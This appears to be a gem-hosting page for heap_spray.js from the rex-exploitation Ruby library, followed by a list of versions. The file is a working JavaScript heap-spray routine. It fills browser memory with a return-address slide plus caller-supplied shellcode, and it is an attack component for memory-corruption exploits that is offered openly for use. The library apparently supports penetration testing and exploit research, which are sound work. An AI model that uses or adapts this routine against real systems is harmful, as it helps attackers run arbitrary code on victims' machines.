Sha256: 00597615e3cd5ba81e39fb1510ada32b148a1a2d3fcf252f6660c2235cdb08f6

Contents?: true

Size: 776 Bytes

Versions: 41

Compression:

Stored size: 776 Bytes

Contents

var memory = new Array();
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
  var index;
  var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
  var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
  while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
  while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }

  var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
  while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
  retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);

  var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
  for (index = 0; index < heapBlockCnt; index++) {
    memory[index] = retSlide + shellcode;
  }
}

Version data entries

41 entries across 41 versions & 1 rubygems

Version Path
rex-exploitation-0.1.20 data/js/memory/heap_spray.js
rex-exploitation-0.1.19 data/js/memory/heap_spray.js
rex-exploitation-0.1.18 data/js/memory/heap_spray.js
rex-exploitation-0.1.17 data/js/memory/heap_spray.js
rex-exploitation-0.1.16 data/js/memory/heap_spray.js
rex-exploitation-0.1.15 data/js/memory/heap_spray.js
rex-exploitation-0.1.14 data/js/memory/heap_spray.js
rex-exploitation-0.1.13 data/js/memory/heap_spray.js
rex-exploitation-0.1.12 data/js/memory/heap_spray.js
rex-exploitation-0.1.11 data/js/memory/heap_spray.js
rex-exploitation-0.1.10 data/js/memory/heap_spray.js
rex-exploitation-0.1.9 data/js/memory/heap_spray.js
rex-exploitation-0.1.8 data/js/memory/heap_spray.js
rex-exploitation-0.1.7 data/js/memory/heap_spray.js
rex-exploitation-0.1.6 data/js/memory/heap_spray.js
rex-exploitation-0.1.5 data/js/memory/heap_spray.js
rex-exploitation-0.1.4 data/js/memory/heap_spray.js
rex-exploitation-0.1.3 data/js/memory/heap_spray.js
rex-exploitation-0.1.2 data/js/memory/heap_spray.js
rex-exploitation-0.1.1 data/js/memory/heap_spray.js